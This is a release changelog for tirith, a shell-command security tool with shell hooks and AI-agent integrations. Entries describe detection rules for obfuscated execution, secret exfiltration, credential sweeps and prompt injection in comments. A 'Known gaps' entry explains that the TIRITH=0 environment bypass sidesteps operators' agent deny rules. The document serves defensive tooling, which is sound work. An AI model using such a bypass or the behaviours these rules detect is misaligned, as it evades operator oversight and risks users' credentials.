  • Bash enter-mode auto-degrade left tirith doctor reporting stale shell state (#111) — when an interactive bash shell degrades from enter mode to preexec, _tirith_degrade_to_preexec now re-exports TIRITH_BASH_EFFECTIVE_MODE=preexec and TIRITH_BASH_EFFECTIVE_PROTECTION=warn-only, so a child tirith doctor reports the real post-degrade state instead of the stale enter/blocks values exported at shell startup. tirith doctor also now warns when a persisted bash safe-mode flag is being overridden by TIRITH_BASH_MODE=enter.
  • Bash enter-mode capability probe could mis-classify a working bash (#111 follow-up) — the cli::bash_capability self-test sent a no-terminal-output command (printf >> marker; printf 'true' | bash && touch marker) and then keyed completion on the PTY going quiet before killing the shell. For a command whose hook shells out to tirith check, terminal silence is reached before the command runs, so the delivery probe could read an empty marker and cache broken for a perfectly working bash, and the blocking probe could read a not-yet-run command's absent marker as a successful "block". Both probes now poll the marker file with a bounded timeout — the same technique the PTY conformance harness already uses — instead of inferring completion from terminal quiet. The blocking probe additionally gained an anti-vacuous guard: it first delivers an allowed command and confirms (by polling its marker) that the probe shell genuinely delivers commands, and only then tests the blocked command; if the allowed command does not run the verdict is inconclusive, never a false "blocked".
  • TIRITH_STATUS leaked into non-interactive child processes — every shell hook (bash, zsh, fish, PowerShell, nushell) set TIRITH_STATUS as an exported environment variable, so a non-interactive child — which has no tirith protection at all — inherited the parent interactive shell's status (e.g. bash -i then bash -c 'echo $TIRITH_STATUS' printed warn-only). TIRITH_STATUS exists only for the user's prompt, which runs in the interactive shell, so it is now a plain non-exported shell variable (bash/zsh global, fish set -g, PowerShell $global:) — in-shell prompt integration (PS1 / PROMPT_COMMAND / fish_prompt / a PowerShell prompt function) is unaffected, and children no longer inherit a misleading status. The nushell and PowerShell hooks also gained the interactivity guard they were missing. nushell has no session variable that is both prompt-readable and not child-inherited, so the nushell hook no longer sets TIRITH_STATUS at all. docs/prompt-status.md is updated accordingly, including a caveat that Starship — an external prompt renderer running as a separate process — needs the variable explicitly re-exported.

Known gaps

  • agent_rules.deny is bypassed by env-bypass (TIRITH=0) on tirith check, the gateway, and the MCP tools/call_check_command handler. All three sites that route through post_process_verdict have an if raw_verdict.bypass_honored { /* skip post-processing */ } early-return. The bypass branch audits the raw verdict and never reaches apply_agent_rules, so an operator who writes agent_rules: { deny: [...] } will find that TIRITH=0 invocations sidestep the deny matcher. Consistent with how TIRITH=0 overrides every other detection, but worth surfacing because operators may reasonably expect deny to be more authoritative than the user's interactive bypass. Pinned by the regression test agent_rules_deny_skipped_under_tirith_bypass_today in crates/tirith/tests/cli_integration.rs and documented under "Known limitation" in docs/agent-governance-design.md §5. To be revisited in M5 after operator feedback.

[0.3.1] - 2026-05-08

Fixed

  • AWS access-key false positive in S3 pre-signed URLs and SigV4 Authorization headers (#101) — the credential rule no longer flags AKIA… matches that sit inside the X-Amz-Credential value of a parseable URL whose query also has X-Amz-Algorithm=AWS4-HMAC-SHA256 and a non-empty X-Amz-Signature, or inside the Credential= field of an Authorization: AWS4-HMAC-SHA256 …, Signature=… header. The carve-out is anchored to absolute byte spans of the actual SigV4 fields — a stray AKIA… elsewhere in the same URL/headers/body still fires. Bare access keys, Authorization: Bearer AKIA… without SigV4 markers, and URLs missing any SigV4 marker continue to flag. New tests cover each shape and each adversarial bypass we considered.
  • tirith setup codex against current Codex CLI versions — recognises the new Error: No MCP server named 'X' found. stderr message instead of treating it as an unexpected failure, and accepts both the legacy top-level command/args JSON shape and the current nested transport.command/args shape returned by codex mcp get --json. Drift detection still works against either shape.
  • Non-interactive zsh -lc ... no longer blocked by stale .zshenv guard — the guard now bakes a stable absolute path to the tirith binary at install time (resolved via PATH lookup with symlink canonicalisation, falling back to current_exe() when the PATH entry is a #! wrapper script for npm/pnpm). Previously the guard relied on the bare name tirith being on PATH, which fails before .zshrc/.zprofile populate PATH. The path is shell-quoted so spaces and apostrophes round-trip safely.
  • npm shadow false positive on tirith doctor / tirith init (#105) — Unix install via npm no longer warns that the node_modules/tirith/bin/tirith JS wrapper shadows the native binary. resolve_effective_tirith_target now detects the npm wrapper layout (after canonicalising the PATH entry through any symlinks), looks up the matching @sheeki03/tirith-{platform}-{arch}/bin/tirith sibling using the same OS+arch mapping the wrapper itself uses, and treats both paths as the same install. Unrelated tirith binaries on PATH (the documented PyPI collision case) still warn.
  • Windows path-shadow false positive on Scoop installstirith doctor/tirith init no longer warn that the Scoop shim at ~\scoop\shims\tirith.exe shadows the real binary; the shim is resolved through its .shim sidecar to the real path before the equality check.
  • Installer verify_sha256 portabilityscripts/install.sh now probes whether sha256sum -c reads from stdin and falls back to shasum -a 256 -c when not (some BSDs, busybox). Regression harness added.

Security

  • rand bumped to 0.9.3 (RUSTSEC-2026-0097).
  • rustls-webpki bumped to a version unaffected by upstream advisories.

Docs

  • README: expanded threat intel attribution table; added incident summary; added Nixpkgs install line.

Internal

  • Daily threat-DB manifest direct-pushes to main instead of opening auto-merge PRs that silently no-op'd when no required checks were present, accumulating an unmerged backlog.
  • Scoop helper code moved under #[cfg(windows)] to silence a clippy warning surfaced by recent toolchain versions.
  • _tirith_output in the bash, fish, and zsh hooks now forwards all arguments instead of only $1 / $argv[1]. No call site passes more than one argument today, but the previous form was a footgun for any future refactor that splits a multi-line message across positional arguments.

[0.3.0] - 2026-04-21

Added

  • Bash preexec enforcement (opt-in) — set TIRITH_BASH_PREEXEC_ENFORCE=1 to get real blocking in bash preexec mode via shopt -s extdebug plus return 1 from the DEBUG trap. Whole-line fail-closed semantics; one block verdict skips the entire typed line. Install-time hostile-history check refuses to engage in shells where HISTCONTROL contains ignorespace/ignoredups/ignoreboth, any HISTIGNORE is set, or history is disabled. Runtime drift detection with cache-then-degrade downgrades the session to warn-only rather than claim protection it cannot deliver. Idempotent DEBUG trap trampoline chains through any pre-existing user DEBUG trap. Closes the "tirith says BLOCKED but the command executes" gap in #77.
  • tirith doctor live state — bash hook now exports TIRITH_BASH_EFFECTIVE_MODE and TIRITH_BASH_EFFECTIVE_PROTECTION (interactive shells only) so doctor, a child process, can read the parent shell's live state. Doctor splits requested-vs-effective onto separate lines so mid-session degrades are legible.
  • First-use preexec banner — on the first command it intercepts, bash preexec prints a one-line reminder that warn-only mode does not block, with a pointer at enter mode.
  • Threat intelligence database (Phases A/B/C) — tirith threatdb subcommand, threat DB compiler binary with CI workflow, signed cache format, detection rules keyed on known-bad hostnames/IPs/packages/typosquats, supplemental feed overlay with Phase B feed parsers and rule mapping, Phase C runtime API enrichment wired into check and daemon paths, auto-update and staleness reporting in doctor.
  • Per-session warning accumulator with a new tirith warnings CLI command and shell exit summaries across all hooks.
  • Escalation engine with cooldown and post-process verdicts, integrated into the engine, audit log, MCP gateway, check, and daemon paths.
  • Strict warn mode with a new WarnAck exit code 3.
  • Daemon mode with network-aware URL checks; Windows parity for network and setup features.
  • tirith policy init, validate, test subcommands; tirith explain --rule for rule documentation.
  • tirith doctor --fix for progressive remediation, plus --reset-bash-safe-mode flag.
  • tirith setup gains copilot-cli (#74) and kiro (#75); scanner recognises .kiro/, .amazonq/cli-agents/, and .github/hooks/ as config paths.
  • --include, --exclude, --profile scan filters.
  • GitHub Action, pre-commit hook, and SARIF enrichment for CI integration.
  • Text confusable detection (math alphanumerics, same-word mixed-script) plus expanded terminal/config rules.
  • Detection gap analysis surfaced in tirith doctor.
  • Warn-only rendering for preexec mode (#77) — preexec verdicts now render "DETECTED (shell hook cannot block in preexec mode...)" instead of the misleading "BLOCKED" banner.
  • SKILL.md for AI agent discovery.
  • CLI UX: error suggestions, color module, confirm helper, normalised output flags, help examples on every subcommand.
  • Tokenizer span tracking (trimmed byte range per segment) to support tighter carveouts without string scanning.
  • aarch64-unknown-linux-musl target in the release pipeline.

Fixed

  • Restore TIRITH=0 pipe bypass without weakening paste safety (#78).
  • Scp/rsync remote-spec parser replaced so host:/path no longer trips URL-host false positives (#26).
  • Carve out tirith inspection args so the scanner doesn't match its own prompt text (#29).
  • Wrapped commands (sudo, env, doas, command, time, nohup prefixes) now resolve through resolve_wrapped_command in the network_deny path so prefix chains cannot bypass policy.
  • codefile byte slicing clamps to UTF-8 char boundaries to avoid a panic on non-ASCII code (#76).
  • Approval and warn-ack temp files are cleaned up on all paths to stop /tmp leaks (#80).
  • Close mid-session HISTCONTROL bypass; preexec cache key corrected so drift-triggering pipelines do not leak composite rules.
  • Warn-only dedupe scoped to a single typed line so long pipelines no longer suppress later DETECTED banners.
  • Windows CI: Finding import, daemon/setup module compilation, XDG audit spool test gated to Unix, Gemini path assertion gated to Unix.
  • Platform-specific snapshot tests replaced with cross-platform assertions.
  • Early signing-key check in the threat DB workflow.
  • Linux bash preexec tests made deterministic; CI caps hung test job runtime.

Changed

  • Stacked CI runs on the same ref are now cancelled; fuzz/target and Cargo.lock ignored in CI path filters.
  • Documentation across README and docs/troubleshooting.md updated for the new enforcement matrix, threat-intel features, escalation, hidden findings, --format flag canonicalisation, and new MCP client setup guides (Gemini CLI, OpenClaw, Pi CLI).

[0.2.12] - 2026-04-01

Fixed

  • Always-on pro runtime and shell-hook regression fixes.
  • Windows CI test failures.
  • Release publish workflow hardened.
  • Crates.io re-publish idempotency check + HTTP status-code wait step.
  • User-Agent header added to the crates.io API poll.

Changed

  • Docker image uses pre-built release binaries instead of compiling inside the container.

[0.2.11] - 2026-03-31

Added

  • Base64DecodeExecute, DataExfiltration, and code-file scan rules for JS/Python files (obfuscated payloads, dynamic code execution, secret exfiltration via fetch/requests.post).
  • HTML and Markdown comment content analysis with severity tiers (High for prompt injection, Medium for destructive commands).

Fixed

  • Send-position-only contract enforced for SuspiciousCodeExfiltration.
  • Fish block-hides-prompt regression (#31).
  • Zsh hook crash when noclobber is enabled (#70).
  • Postfix ++/-- vs division disambiguation in the codefile exfil parser.
  • Hardcoded user path removed from the Cursor MCP config template.

[0.2.10] - 2026-03-25

Added

  • TeamPCP post-compromise behavior detection rules (/proc/*/mem scraping, Docker remote privilege escalation, credential-file sweeps) and domain corpus fix.
  • Credential leak detection: known-pattern tokens (AWS, GitHub, Stripe, Slack, SendGrid, Anthropic, GCP, npm, private-key blocks) plus entropy-based generic secret detection.

[0.2.9] - 2026-03-24

Fixed

  • SSRF bypass closed.
  • allowlist_rules policy field now enforced.
  • Webhook env-var hardening.

[0.2.8] - 2026-03-21

Added

  • SSRF protection on cloaking fetch with DNS resolution checks.

Fixed

  • Cmd caret escapes inside double quotes; env values now redacted in findings.
  • Inline TIRITH=0 paste bypass removed; blocked content previews escape control characters.
  • Guarded JSON-RPC notifications are analysed rather than forwarded blindly.
  • Inline bypass parsing hardened; self-invocation guard removed.
  • URL extraction from env-prefix assignments (FOO=bar cmd url); MCP scan file count capped.
  • Secrets redacted in JSON output; shell metacharacters quoted in init output.
  • Windows CI stability; rustls-webpki bumped for RUSTSEC-2026-0049 (0.101.x line ignored until upstream patches land).
  • Windows data_dir uses APPDATA.
  • clippy::type_complexity cleanup via HostResolver type alias.

[0.2.7] - 2026-03-12

Fixed

  • VS Code / Cursor shell-env resolution: skip the .zshenv guard when the shell is resolving its env for IDE integration.

Changed

  • README lists openclaw under the setup commands.

[0.2.6] - 2026-03-09

Added

  • Cmd (Windows cmd.exe) shell tokenizer.
  • tirith setup openclaw command.

[0.2.5]

Added

  • Pipe-to-shell findings now suggest vet (and tirith run on Unix for POSIX fetch commands) as safer alternatives when the source is a URL-fetching command.
  • Cookbook section for getvet.sh integration (section 7).
  • Interpreter detection hardening: canonical INTERPRETERS list (26 entries), normalize_shell_token() state machine, resolve_interpreter_name() with sudo/env/command/exec/nohup prefix chains.
  • Extended interpreter coverage: fish, csh, tcsh, ash, mksh, python2/3, deno, bun, lua, tclsh, elixir, rscript, pwsh.

Fixed

  • sudo -iu root bash combined short flags now correctly resolve to bash.
  • -- end-of-options marker now stops flag-skipping in interpreter resolution.
  • ANSI-C quoting ($'...') no longer applied to Fish shell (Fish doesn't support it).
  • Extracted URLs in remediation hints are sanitized to prevent ANSI injection.

[0.1.5] - 2026-02-04

Fixed

  • Shell hooks now reliably display block/warn messages in all terminal contexts (zsh, bash, fish, PowerShell).
  • Blocked commands show with command> prefix, blocked pastes show with paste> prefix.
  • Fish hook now works with vi keybindings (fish_vi_key_bindings). Binds Enter in insert, default, and replace modes.
  • Fish vi mode: Enter from normal mode now correctly returns to insert mode after execution.

[0.1.4] - 2026-02-04

Fixed

  • Shell hooks (zsh, bash) now properly display block/warn messages. Previously, messages were silently swallowed in zle/bind-x contexts.

[0.1.3] - 2026-02-03

Changed

  • Re-licensed under AGPL-3.0-only with a commercial licensing option.

[0.1.0] - 2026-02-02

Added

  • Tiered analysis engine (Tier 0-3) with <2ms fast path for clean commands
  • 30 detection rules across 7 categories: hostname, path, transport, terminal, command, ecosystem, environment
  • Shell hooks: zsh, bash (enter + preexec modes), fish, PowerShell
  • Self-contained install: hooks embedded in binary, materialized on first tirith init
  • Policy engine: YAML config, allowlist/blocklist, severity overrides, fail_mode (open/closed)
  • JSONL audit log with file locking and event correlation IDs
  • Receipt system for script execution tracking with SHA-256 verification
  • doctor diagnostic command for installation troubleshooting
  • Shell completions (zsh, bash, fish, PowerShell) via hidden completions subcommand
  • Man page via hidden manpage subcommand
  • diff command for comparing URLs against known-good patterns
  • score command for URL risk scoring
  • why command to explain the last triggered rule
  • run command for safe script download and execution (Unix only)
  • 235 golden fixture tests across 10 categories
  • Criterion performance benchmarks